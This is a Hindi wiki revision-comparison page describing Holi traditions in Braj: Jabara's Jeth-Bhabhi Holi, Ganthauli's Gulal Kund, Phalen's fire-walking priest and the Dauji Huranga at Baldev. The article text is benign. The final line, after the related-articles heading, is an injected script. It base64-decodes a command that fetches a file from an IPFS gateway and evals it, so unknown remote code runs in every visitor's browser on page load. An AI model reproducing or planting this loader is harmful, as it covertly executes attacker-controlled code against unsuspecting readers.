"ब्रज में होली" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('{{सूचना बक्सा संक्षिप्त परिचय |चित्र=Baldev-Holi-Mathura-30.jpg |चित्...' के साथ नया पन्ना बनाया)
 
 
(3 सदस्यों द्वारा किये गये बीच के 3 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
 +
{{ब्रज विषय सूची}}
 
{{सूचना बक्सा संक्षिप्त परिचय
 
{{सूचना बक्सा संक्षिप्त परिचय
 
|चित्र=Baldev-Holi-Mathura-30.jpg
 
|चित्र=Baldev-Holi-Mathura-30.jpg
पंक्ति 31: पंक्ति 32:
 
==लोक मान्यताएँ==
 
==लोक मान्यताएँ==
 
====जेठ और भाभी की होली====
 
====जेठ और भाभी की होली====
[[मांट]] के गांव जाबरा में जेठ और भाभी की होली होती है। यहां [[राधा|राधाजी]] अपने जेठ [[बलराम]] संग होती खेलती हैं। यहां [[होली]] का अद्भुत रंग देखने को मिलता है। [[फाल्गुन]] के उल्लास और [[कृष्ण|श्रीकृष्ण]] के अग्रज [[ब्रज]] के ठाकुर बलराम ने जेठ होकर राधा से भाभी और देवर के समान होली खेलने की अभिलाषा व्यक्त की। राधा यह बात सुन कर विचलित हुईं और कृष्ण से कहा तो वे मुस्कराकर बोले कि [[त्रेता युग]] में बलराम [[लक्ष्मण]] थे, आप [[सीता]] के साथ रूप में उनकी भाभी थीं। उसी नाते से भाभी कह दिया होगा। जाबरा मांट तहसील हेडक्वार्टर में मात्र चार किलोमीटर दूर गोरई रोड पर बसा प्रचीन गांव है। प्रसिद्ध भजन गायक स्वामी शिवराम जी का जन्म भी इसी गांव में हुआ था। गांव में फाल्गुन [[माह]] की प्रथम तिथि को सुबह कजरा होता है। इसमें ब्रजवासियों के साथ हुरियारे गाते-बजाते गाँव की परिक्रमा करते हैं। इसमें गांव के वयोवृद्ध लोगों का दल कजरा के पीछे-पीछे [[ब्रजभाषा]] के प्राचीन होली के लोक गीतों को ऊंचे स्वरों में गाते हुए चलते हैं। हुरंगा से पूर्व गांव में छोटे-छोटे पहलवानों का दंगल होता है। शाम को गांव के बाहर मैदान में ब्रज के होली रसियों के गायन के साथ सेठ और भाभी के बीच विशाल हुरंगे का आयोजन होता है। उसके बाद गांव की परिक्रमा की जाती है। दूज को जाबरा के गांव चंद्रवन में मेले का आयोजन किया जाता है। इसमें आने वाले सैकड़ों गांवों के लोग अपने-अपने गांव का नगाड़ा लेकर आते हैं। यहां रसियों और नगाड़ों की तान पर लोग जमकर नृत्य करते हैं। जाबरा भन्नी पर विशाल कुश्ती दंगल का आयोजन भी किया जाता है। इसमें [[हरियाणा]], [[राजस्थान]], [[दिल्ली]] से प्रसिद्ध पहलवान कुश्ती लड़ने को आते हैं। लगातार तीन साल कुश्ती जीतने वाले पहलवान को पांच किलोग्राम का गदा इनाम के रूप में दिया जाता है।<ref>आभार- अमर उजाला, 5 मार्च, 2015 </ref>
+
[[मांट]] के गांव जाबरा में जेठ और भाभी की होली होती है। यहां [[राधा|राधाजी]] अपने जेठ [[बलराम]] संग होती खेलती हैं। यहां [[होली]] का अद्भुत रंग देखने को मिलता है। [[फाल्गुन]] के उल्लास और [[कृष्ण|श्रीकृष्ण]] के अग्रज [[ब्रज]] के ठाकुर बलराम ने जेठ होकर राधा से भाभी और देवर के समान होली खेलने की अभिलाषा व्यक्त की। राधा यह बात सुन कर विचलित हुईं और कृष्ण से कहा तो वे मुस्कराकर बोले कि [[त्रेता युग]] में बलराम [[लक्ष्मण]] थे, आप [[सीता]] के साथ रूप में उनकी भाभी थीं। उसी नाते से भाभी कह दिया होगा। जाबरा मांट तहसील हेडक्वार्टर में मात्र चार किलोमीटर दूर गोरई रोड पर बसा प्रचीन गांव है। प्रसिद्ध भजन गायक स्वामी शिवराम जी का जन्म भी इसी गांव में हुआ था। [[चित्र:Holi-Holika-Dahan-Mathura.jpg|left|thumb|[[होलिका दहन]], [[मथुरा]]]] गांव में फाल्गुन [[माह]] की प्रथम तिथि को सुबह कजरा होता है। इसमें ब्रजवासियों के साथ हुरियारे गाते-बजाते गाँव की परिक्रमा करते हैं। इसमें गांव के वयोवृद्ध लोगों का दल कजरा के पीछे-पीछे [[ब्रजभाषा]] के प्राचीन होली के लोक गीतों को ऊंचे स्वरों में गाते हुए चलते हैं। हुरंगा से पूर्व गांव में छोटे-छोटे पहलवानों का दंगल होता है। शाम को गांव के बाहर मैदान में ब्रज के होली रसियों के गायन के साथ सेठ और भाभी के बीच विशाल हुरंगे का आयोजन होता है। उसके बाद गांव की परिक्रमा की जाती है। दूज को जाबरा के गांव चंद्रवन में मेले का आयोजन किया जाता है। इसमें आने वाले सैकड़ों गांवों के लोग अपने-अपने गांव का नगाड़ा लेकर आते हैं। यहां रसियों और नगाड़ों की तान पर लोग जमकर नृत्य करते हैं। जाबरा भन्नी पर विशाल कुश्ती दंगल का आयोजन भी किया जाता है। इसमें [[हरियाणा]], [[राजस्थान]], [[दिल्ली]] से प्रसिद्ध पहलवान कुश्ती लड़ने को आते हैं। लगातार तीन साल कुश्ती जीतने वाले पहलवान को पांच किलोग्राम का गदा इनाम के रूप में दिया जाता है।<ref>आभार- अमर उजाला, 5 मार्च, 2015 </ref>
 
====श्यामा-श्याम के फाग से आज भी लाल है गुलाल कुंड====
 
====श्यामा-श्याम के फाग से आज भी लाल है गुलाल कुंड====
 
गांठोली का गुलाल कुंड श्यामा-श्याम ([[राधा]]-[[कृष्ण]]) के फाग से आज भी लालमलाल है। फागुन मास में आज भी कुंड का जल [[गुलाबी रंग|गुलाबी]] नज़र आता है। [[गुजरात]], [[महाराष्ट्र]] आदि स्थानों से आने वाले वैष्णव जन कुंड पर होली खेलकर प्रिया प्रीतम के रंग में तर होते हैं। [[गोवर्धन]] से तीन किमी दूर स्थिर गांठोली गांव का नामकरण होली-लीला से जुड़ा है। यहां होली खेलने क दौरान राधा माधव सिंहासन पर विराजमान थे। तब कुछ सखियों ने उनके वस्त्रों में गांठ लगा दी। इस लीला से ही गांव का नाम गांठोली पड़ा। इस स्थल पर श्यामा-श्याम ने सखियों के साथ होली खेली थी। महारास के बाद रचे गए फाग में त्रिभुवन सराबोर हो नृत्य करने लगा था। आज हरि खेलत फाग घनी, इत गोरी रोरी भरि झोरी उत गोकुल कौ धनी...। कहा जाता है कि होली खेलने के बाद युगल सरकार व गोपियों ने इस कुंड में अपने अंग वस्त्र धोए थे। इससे कुंड का जल गुलाबी हो गया था। इसलिए यह गुलाल कुंड कहलाता। भक्ति रत्नाकर ग्रंथ में लिखा है कि [[वसंत ऋतु|वसंत]] के समय में लोगों को गुलाल कुंड के [[जल]] का रंग गुलाबी नज़र आता है। कुंड के पास [[बल्लभाचार्य]] जी की बैठक है। यहां आने वाले वैष्णव कुंड में गुलाल अर्पित कर एक दूसरे से होली खेलते हैं।<ref>आभार- अमर उजाला, 5 मार्च, 2015 </ref>
 
गांठोली का गुलाल कुंड श्यामा-श्याम ([[राधा]]-[[कृष्ण]]) के फाग से आज भी लालमलाल है। फागुन मास में आज भी कुंड का जल [[गुलाबी रंग|गुलाबी]] नज़र आता है। [[गुजरात]], [[महाराष्ट्र]] आदि स्थानों से आने वाले वैष्णव जन कुंड पर होली खेलकर प्रिया प्रीतम के रंग में तर होते हैं। [[गोवर्धन]] से तीन किमी दूर स्थिर गांठोली गांव का नामकरण होली-लीला से जुड़ा है। यहां होली खेलने क दौरान राधा माधव सिंहासन पर विराजमान थे। तब कुछ सखियों ने उनके वस्त्रों में गांठ लगा दी। इस लीला से ही गांव का नाम गांठोली पड़ा। इस स्थल पर श्यामा-श्याम ने सखियों के साथ होली खेली थी। महारास के बाद रचे गए फाग में त्रिभुवन सराबोर हो नृत्य करने लगा था। आज हरि खेलत फाग घनी, इत गोरी रोरी भरि झोरी उत गोकुल कौ धनी...। कहा जाता है कि होली खेलने के बाद युगल सरकार व गोपियों ने इस कुंड में अपने अंग वस्त्र धोए थे। इससे कुंड का जल गुलाबी हो गया था। इसलिए यह गुलाल कुंड कहलाता। भक्ति रत्नाकर ग्रंथ में लिखा है कि [[वसंत ऋतु|वसंत]] के समय में लोगों को गुलाल कुंड के [[जल]] का रंग गुलाबी नज़र आता है। कुंड के पास [[बल्लभाचार्य]] जी की बैठक है। यहां आने वाले वैष्णव कुंड में गुलाल अर्पित कर एक दूसरे से होली खेलते हैं।<ref>आभार- अमर उजाला, 5 मार्च, 2015 </ref>
पंक्ति 40: पंक्ति 41:
 
==दाऊजी का हुरंगा==  
 
==दाऊजी का हुरंगा==  
 
{{Main|दाऊजी का हुरंगा}}
 
{{Main|दाऊजी का हुरंगा}}
'दाऊजी का हुरंगा' एक प्रसिद्ध उत्सव है, जो बल्देव, [[मथुरा]], [[उत्तर प्रदेश]] के प्रसिद्ध [[दाऊजी मंदिर मथुरा|दाऊजी मंदिर]] में आयोजित होता है। यह उत्सव [[होली]] के बाद मनाया जाता है। यहाँ होली खेलने वाले पुरुष हुरियारे तथा महिलाएँ हुरियारिन कहीं जाती हैं। दाऊजी का हुरंगा [[मथुरा]] के प्रसिद्ध [[ग्राम]] बल्देव में स्थित दाऊजी मंदिर में आयोजित होता है। इसमें देश के कोने-कोने से आये श्रद्धालु शामिल होते हैं। [[शेषनाग]] के अवतार कहे जाने वाले [[श्रीकृष्ण]] के बड़े भाई दाऊजी ([[बलराम]]) के सानिध्य में होने वाला हुरंगा यहां का अद्वितीय पर्व है। हुरंगा की शुरुआत दोपहर बारह बजे से होती है।
+
'दाऊजी का हुरंगा' एक प्रसिद्ध उत्सव है, जो बल्देव, [[मथुरा]], [[उत्तर प्रदेश]] के प्रसिद्ध [[दाऊजी मंदिर मथुरा|दाऊजी मंदिर]] में आयोजित होता है। यह उत्सव [[होली]] के बाद मनाया जाता है। यहाँ होली खेलने वाले पुरुष हुरियारे तथा महिलाएँ हुरियारिन कहीं जाती हैं। दाऊजी का हुरंगा [[मथुरा]] के प्रसिद्ध [[ग्राम]] बल्देव में स्थित दाऊजी मंदिर में आयोजित होता है। इसमें देश के कोने-कोने से आये श्रद्धालु शामिल होते हैं। [[शेषनाग]] के अवतार कहे जाने वाले [[श्रीकृष्ण]] के बड़े भाई दाऊजी ([[बलराम]]) के सान्निध्य में होने वाला हुरंगा यहां का अद्वितीय पर्व है। हुरंगा की शुरुआत दोपहर बारह बजे से होती है।
  
 +
 +
{{लेख क्रम2 |पिछला=ब्रजभाषा|पिछला शीर्षक=ब्रजभाषा|अगला शीर्षक=ब्रज की वेशभूषा, भोजन व मिठाई|अगला=ब्रज की वेशभूषा, भोजन व मिठाई}}
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}}

13:35, 30 मई 2017 के समय का अवतरण

ब्रज विषय सूची
ब्रज में होली
बल्देव की होली, मथुरा
विवरण ब्रज की होली की परंपरा का उल्लेख अंग्रेज़ी कलक्टर एफ़. एस. ग्राउस ने अपनी पुस्तक 'डिस्ट्रिक मेमोयर' में भी किया है। उस दौरान होलिका के रूप में गोबर के थपे कंडे (उपले, गूलरी की माला) आदि रखी जाती थी।
राज्य उत्तर प्रदेश
क्षेत्र ब्रज ( मथुरा, वृन्दावन, गोवर्धन, गोकुल, बल्देव, बरसाना)
संबंधित लेख होली, होलिका दहन, होलिका, प्रह्लाद
अन्य जानकारी ब्रजमंडल के होलिकोत्सव में हुड़दंग, रसिक परंपराओं का निर्वाह, हास्य-व्यंग्य, अबीर और गुलाल के साथ संगीत, कला, काव्य आदि के रंगबिरंगे प्रयास किए जाते हैं।

ब्रज में होली की पहचान निराली है। कहीं लठामार होली होती है तो कहीं आग में पंडा निकल कर भक्त प्रह्लाद की भक्ति के दर्शन कराता है, कहीं हुरंगा होते हैं। ब्रज की होली की परंपरा का उल्लेख अंग्रेज़ी कलक्टर एफ़. एस. ग्राउस ने अपनी पुस्तक 'डिस्ट्रिक मेमोयर' में भी किया है। उस दौरान होलिका के रूप में गोबर के थपे कंडे (उपले, गूलरी की माला) आदि रखी जाती थी। इस परंपरा ने सत्तर के दशक में स्वरूप परिवर्तित कर लिया। इसी दशक में होलिका का प्रतिमा दहन शुरू हुआ। इस परंपरा के गवाह और नागरिक मंडल लाला गंज के संस्थापक अध्यक्ष के अनुसार शहर में सर्वप्रथम होलिका प्रतिमा दहन 1971 में होली वाली गली में शुरू हुआ। 26 जनवरी 1976, गणतंत्र दिवस की 26वीं वर्षगांठ पर ब्रज में नागरिक मंडल का गठन हुआ था। ब्रजमंडल के होलिकोत्सव में हुड़दंग, रसिक परंपराओं का निर्वाह, हास्य-व्यंग्य, अबीर और गुलाल के साथ संगीत, कला, काव्य आदि के रंगबिरंगे प्रयास किए जाते हैं। आयोजन में ब्रज की लोक कलाएं, रसिया, स्वांग, नौटंकी आदि के साथ ही धमार, होरी गायन से ब्रज की संस्कृति की झलक दिखायी जाती है।[1]

लोक मान्यताएँ

जेठ और भाभी की होली

मांट के गांव जाबरा में जेठ और भाभी की होली होती है। यहां राधाजी अपने जेठ बलराम संग होती खेलती हैं। यहां होली का अद्भुत रंग देखने को मिलता है। फाल्गुन के उल्लास और श्रीकृष्ण के अग्रज ब्रज के ठाकुर बलराम ने जेठ होकर राधा से भाभी और देवर के समान होली खेलने की अभिलाषा व्यक्त की। राधा यह बात सुन कर विचलित हुईं और कृष्ण से कहा तो वे मुस्कराकर बोले कि त्रेता युग में बलराम लक्ष्मण थे, आप सीता के साथ रूप में उनकी भाभी थीं। उसी नाते से भाभी कह दिया होगा। जाबरा मांट तहसील हेडक्वार्टर में मात्र चार किलोमीटर दूर गोरई रोड पर बसा प्रचीन गांव है। प्रसिद्ध भजन गायक स्वामी शिवराम जी का जन्म भी इसी गांव में हुआ था।

गांव में फाल्गुन माह की प्रथम तिथि को सुबह कजरा होता है। इसमें ब्रजवासियों के साथ हुरियारे गाते-बजाते गाँव की परिक्रमा करते हैं। इसमें गांव के वयोवृद्ध लोगों का दल कजरा के पीछे-पीछे ब्रजभाषा के प्राचीन होली के लोक गीतों को ऊंचे स्वरों में गाते हुए चलते हैं। हुरंगा से पूर्व गांव में छोटे-छोटे पहलवानों का दंगल होता है। शाम को गांव के बाहर मैदान में ब्रज के होली रसियों के गायन के साथ सेठ और भाभी के बीच विशाल हुरंगे का आयोजन होता है। उसके बाद गांव की परिक्रमा की जाती है। दूज को जाबरा के गांव चंद्रवन में मेले का आयोजन किया जाता है। इसमें आने वाले सैकड़ों गांवों के लोग अपने-अपने गांव का नगाड़ा लेकर आते हैं। यहां रसियों और नगाड़ों की तान पर लोग जमकर नृत्य करते हैं। जाबरा भन्नी पर विशाल कुश्ती दंगल का आयोजन भी किया जाता है। इसमें हरियाणा, राजस्थान, दिल्ली से प्रसिद्ध पहलवान कुश्ती लड़ने को आते हैं। लगातार तीन साल कुश्ती जीतने वाले पहलवान को पांच किलोग्राम का गदा इनाम के रूप में दिया जाता है।[2]

श्यामा-श्याम के फाग से आज भी लाल है गुलाल कुंड

गांठोली का गुलाल कुंड श्यामा-श्याम (राधा-कृष्ण) के फाग से आज भी लालमलाल है। फागुन मास में आज भी कुंड का जल गुलाबी नज़र आता है। गुजरात, महाराष्ट्र आदि स्थानों से आने वाले वैष्णव जन कुंड पर होली खेलकर प्रिया प्रीतम के रंग में तर होते हैं। गोवर्धन से तीन किमी दूर स्थिर गांठोली गांव का नामकरण होली-लीला से जुड़ा है। यहां होली खेलने क दौरान राधा माधव सिंहासन पर विराजमान थे। तब कुछ सखियों ने उनके वस्त्रों में गांठ लगा दी। इस लीला से ही गांव का नाम गांठोली पड़ा। इस स्थल पर श्यामा-श्याम ने सखियों के साथ होली खेली थी। महारास के बाद रचे गए फाग में त्रिभुवन सराबोर हो नृत्य करने लगा था। आज हरि खेलत फाग घनी, इत गोरी रोरी भरि झोरी उत गोकुल कौ धनी...। कहा जाता है कि होली खेलने के बाद युगल सरकार व गोपियों ने इस कुंड में अपने अंग वस्त्र धोए थे। इससे कुंड का जल गुलाबी हो गया था। इसलिए यह गुलाल कुंड कहलाता। भक्ति रत्नाकर ग्रंथ में लिखा है कि वसंत के समय में लोगों को गुलाल कुंड के जल का रंग गुलाबी नज़र आता है। कुंड के पास बल्लभाचार्य जी की बैठक है। यहां आने वाले वैष्णव कुंड में गुलाल अर्पित कर एक दूसरे से होली खेलते हैं।[3]

फालेन की होली

फालैन गांव में तेज़ जलती हुई होली में से नंगे बदन और नंगे पांव निकलता पण्डा, बरसाना

'फालेन की होली' मथुरा, उत्तर प्रदेश के एक ग्राम फालेन में मनाई जाती है। फालेन ग्राम की यह अनूठी होली विश्व प्रसिद्ध है। इसमें होलिका दहन के समय एक पुरोहित, जिसे पण्डा कहा जाता है, नंगे पाँव जलती हुई अग्नि के बीच से निकलता हुआ एक कुण्ड में कूद जाता है। आश्चर्य का विषय यह है कि उस पर जलती हुई अग्नि का कोई प्रभाव नहीं पड़ता। यह जलती हुई अग्नि से प्रह्लाद के अनाहत, अक्षत रूप से निकलने का प्रतीक है।

दाऊजी का हुरंगा

'दाऊजी का हुरंगा' एक प्रसिद्ध उत्सव है, जो बल्देव, मथुरा, उत्तर प्रदेश के प्रसिद्ध दाऊजी मंदिर में आयोजित होता है। यह उत्सव होली के बाद मनाया जाता है। यहाँ होली खेलने वाले पुरुष हुरियारे तथा महिलाएँ हुरियारिन कहीं जाती हैं। दाऊजी का हुरंगा मथुरा के प्रसिद्ध ग्राम बल्देव में स्थित दाऊजी मंदिर में आयोजित होता है। इसमें देश के कोने-कोने से आये श्रद्धालु शामिल होते हैं। शेषनाग के अवतार कहे जाने वाले श्रीकृष्ण के बड़े भाई दाऊजी (बलराम) के सान्निध्य में होने वाला हुरंगा यहां का अद्वितीय पर्व है। हुरंगा की शुरुआत दोपहर बारह बजे से होती है।



पीछे जाएँ
ब्रज में होली
आगे जाएँ


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. आभार- अमर उजाला, 5 मार्च, 2015
  2. आभार- अमर उजाला, 5 मार्च, 2015
  3. आभार- अमर उजाला, 5 मार्च, 2015

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>